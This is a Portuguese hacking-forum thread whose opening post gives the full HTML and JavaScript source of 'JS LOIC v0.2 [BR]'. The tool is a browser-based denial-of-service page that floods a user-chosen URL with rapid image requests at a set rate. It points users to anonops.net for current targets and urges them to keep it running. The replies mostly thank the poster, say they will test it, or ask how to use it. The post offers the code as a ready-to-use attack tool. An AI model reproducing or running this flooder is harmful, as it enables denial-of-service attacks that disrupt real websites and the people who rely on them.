Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

LOIC em JavaScript

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Tools LOIC em JavaScript

    Creio que muitos já conhecem o LOIC, a ferramenta que promove ataques DoS.
    Mas aqui está uma versão, além de ser multiplataforma, é bem interessante. Trata-se do LOIC em WEB, mas não é nenhum PHP DoS script. Utiliza a banda do cliente mesmo!
    Código:
    <!DOCTYPE html>
    <html><head><meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"> 
        <title>JS LOIC v0.2 [BR]</title> 
        <style type="text/css"> 
    	body {
    		
    		width:100%;
    		margin:auto;
    		background-color:#B7CC1E; 
    		color:#FFFFFF;
    		font-family:Verdana, Geneva, sans-serif;
    	}
    	#p1{
    	 width:240px; 
    	 height:100px; 
    	 position:absolute;
    	 left:500px;
    	}
    	#img {
    		width:490px;
    		height:331px; 
    		position:absolute;
    	}
    	
    	#header {
    	width:900px;
    	margin:auto;	
    	}
    		
    	#wrapper {
    	position:absolute;
    	width:100%;	  
    	height:100%;
    	background-color: #1E4964;	
    	margin:auto;
    		}
    	#p2 {
    	width:240px;
    	height:100px; 
    	position:absolute; 
    	left:780px;	
    	}
    	#fireButton {
    	background-image:url(www.calgarc.com/images/btnl.png);
    	}
    	</style> 
    </head> 
    <body> 
     
     <div id="header"> 
    <h1><abbr title="JavaScript">JS</abbr> <abbr title="Low Orbit Ion Cannon">LOIC</abbr> v 0.2 [BR]</h1> 
    <h2 style="font-size:15px;">Clique no botão azul e aguarde</h2> 
      </div> 
      
      
      
      
     
    <div id="wrapper"> 
     
     
    <div id="table"> 
     
     
    <div id="img"> 
      <img alt="LOIC" src="./JS LOIC v0.2 [BR]blank_files/loop.png"> 
    </div> 
     
     
    <div id="p1"> 
     
         <fieldset style="width:100%; height:100%; border:none;"> 
            <label>Passo 1. Selecione o alvo:</label> 
            <label>URL: <br> 
            
            <input name="targetURL" id="targetURL" style="width:100%;">
          </label> 
            <small>Para descobrir o alvo atual visite: <a href="http://anonops.net/" style="color:#FFF;">http://anonops.net/</a></small> 
     
        </fieldset> 
    </div> 
     
     
     
    <div id="p2"> 
         <fieldset style="width:100%; height:100%; border:none;"> 
           <label>Passo 2. Pronto?</label> 
            <button id="fireButton" style="border:none; color:#1E4964; width:240px; height:70px;">COMEÇAR ATAQUE!!!</button> 
        </fieldset> 
    </div> 
     
     
     
    <div id="p3" style="width:240px; height:160px; position:absolute; left:500px; top:150px;"> 
         <fieldset style="width:100%; height:100%; border:none;"> 
            <label>Mensagem e velocidade</label> 
            Passo 2. se desejado selecione a velocidade e mensagem
             <label>Pedidos por segundo: <input id="rps" style="width:40px;" value="100"></label><br> 
             <label>Mensagem: <br><input id="message" style="width:100%;" value="BOOM HEADSHOT!"></label> 
        </fieldset> 
    </div> 
     
     
    <div id="p4" style="width:240px; height:160px;  position:absolute; left:780px; top:150px;"> 
         <fieldset style="width:100%; height:100%; border:none;"> 
             <label>Status do ataque:</label> 
            <dl> 
                <dt>Enviados:</dt> 
                <dd id="requestedCtr">0</dd> 
                <dt style="opacity: 0.5">Sucesso:</dt> 
     
                <dd style="opacity: 0.5" id="succeededCtr">0</dd> 
                <dt style="opacity: 0 .5">Falha:</dt> 
                <dd style="opacity: 0.5" id="failedCtr">0</dd> 
            </dl> 
        </fieldset> 
    </div> 
     
     
     
    <div id="footer" style="width:900px; height:160px; font-size:14px; position:absolute; top:350px;"> 
    Nos precisamos no seu suporte á <a href="http://wikileaks.ch/" style="color:#FFF">wikileaks</a> deixe a pagina rodando o quanto você puder.  Não se preocupe se falhar.
    <br><br>Original/Creditos: <a href="http://www.calgarc.com/jloic.html" style="color:#FFF">http://www.calgarc.com/jloic.html</a>
    </div> 
     
    </div> 
    </div> 
     
        <script> 
            (function () {
     
                var fireInterval;
                var isFiring = false;
     
                var requestedCtrNode = document.getElementById("requestedCtr"),
                    succeededCtrNode = document.getElementById("succeededCtr"),
                    failedCtrNode = document.getElementById("failedCtr"),
                    targetURLNode = document.getElementById("targetURL"),
                    fireButton = document.getElementById("fireButton"),
                    messageNode = document.getElementById("message"),
                    rpsNode = document.getElementById("rps"),
                    timeoutNode = document.getElementById("timeout");
     
                var targetURL = targetURLNode.value;
                targetURLNode.onchange = function () {
                    targetURL = this.value;
                };
     
                var requestsHT = {}; // requests hash table, may come in handy later
     
                var requestedCtr = 0,
                    succeededCtr = 0,
                    failedCtr = 0;
     
                var makeHttpRequest = function () {
    				
    					if (requestedCtr > failedCtr + succeededCtr + 1000) { //Allow no more than 1000 hung requests
    						return;
    					};
    					
                        var rID =Number(new Date());
                        var img = new Image();
                        img.onerror = function () { onFail(rID); };
                        img.onabort = function () { onFail(rID); };
                        img.onload = function () { onSuccess(rID); }; // TODO: it may never happen if target URL is not an image... // but probably can be fixed with different methods
    					
    					img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value);
                        requestsHT[rID] = img;
                        onRequest(rID);
                    };
     
                var onRequest = function (rID) {
                        requestedCtr++;
                        requestedCtrNode.innerHTML = requestedCtr;
                    };
     
                var onComplete = function (rID) {
                        delete requestsHT[rID];
                    };
     
                var onFail = function (rID) {
                       // failedCtr++;
                        //failedCtrNode.innerHTML = failedCtr;
    					
    					succeededCtr++; //Seems like the url will always fail it it isn't an image
                        succeededCtrNode.innerHTML = succeededCtr;
     
     
                        delete requestsHT[rID]; // we can't keep it forever or it would blow up the browser
                    };
     
                var onSuccess = function (rID) {
                        succeededCtr++;
                        succeededCtrNode.innerHTML = succeededCtr;
                        delete requestsHT[rID];
                    };
     
                fireButton.onclick = function () {
                    if (isFiring) {
                        clearInterval(fireInterval);
     
                        isFiring = false;
                        this.innerHTML = "IMMA CHARGING MAH LAZER";
                    } else {
                        isFiring = true;
                        this.innerHTML = "Stop flooding";
     
                        fireInterval = setInterval(makeHttpRequest, (2500 / parseInt(rpsNode.value) | 0));
                    }
                };
     
            })();
        </script> 
     
     </body></html>
    Não precisa instalar. Copie e grave com extensão HTML.
    Até mais!
    Este material pode ser compartilhado, desde que os devidos créditos sejam dados.



    Notify-list · Twitter · Blog

    Nova lei: Invadir computadores protegidos é crime.
    Lógica: Se eu invadi, não é protegido. Logo, não é crime :-)
    Similar Threads

  • Font Size
    #2
    Vou testar.
    Obrigado




    "Antes de conseguir você tem que acreditar."

    Comment


    • Font Size
      #3
      parece ser bom ....vo testar vlw por compartilhar

      Comment


      • Font Size
        #4
        Interessante, Obrigado por compartilhar.

        WCG 147
        sigpic

        Comment


        • Font Size
          #5
          bem legal =]



          Durante os tempos de mentiras universais, dizer a verdade se torna um ato revolucionário

          Comment


          • Font Size
            #6
            Muito interessante, testando


            Comment


            • Font Size
              #7
              Excelente Ferramenta, Tah de Parabéns 0KaL (:
              Seu tempo é limitado, então não percam tempo vivendo a vida de outro. Não sejam aprisionados pelo dogma – que é viver com os resultados do pensamento de outras pessoas. Não deixe o barulho da opinião dos outros abafar sua voz interior. E mais importante, tenha a coragem de seguir seu coração e sua intuição. Eles de alguma forma já sabem o que você realmente quer se tornar. Tudo o mais é secundário.
              Steve Jobs

              Comment


              • Font Size
                #8
                Muito bom otimo trabalho

                Comment


                • Font Size
                  #9
                  Muito bom o programa aprovado!
                  "Compartilhe, agradeça, motive, engrandeça!"
                  "Faça o bem, sem ver a quem!"
                  "Conhecimento não é crime. Crime é o que vem depois dele, seus atos!"
                  "Não deixe mais que seu opressor o domine!"

                  Comment


                  • Font Size
                    #10
                    Interessante, Obrigado por compartilhar (Y)

                    testei aqui e não obtive resultado =(
                    Se gostou do post clique em OBRIGADO, Fez o Download COMENTEM



                    Comment


                    • Font Size
                      #11
                      muito bom cara. Mas nÃo É preciso hospedar nao mano ? Responde

                      Comment


                      • Font Size
                        #12
                        Tanto faz, nelly, funciona tanto hospedado quanto em localhost, ou até mesmo com duplo-clique.
                        Este material pode ser compartilhado, desde que os devidos créditos sejam dados.



                        Notify-list · Twitter · Blog

                        Nova lei: Invadir computadores protegidos é crime.
                        Lógica: Se eu invadi, não é protegido. Logo, não é crime :-)

                        Comment


                        • Font Size
                          #13
                          Como salvo em HTML ?

                          Comment


                          • Font Size
                            #14
                            isso não derruba nem site. fuleiro

                            Comment


                            • Font Size
                              #15
                              como faco para usar isso???

                              Comment

                              X
                              Working...
                              X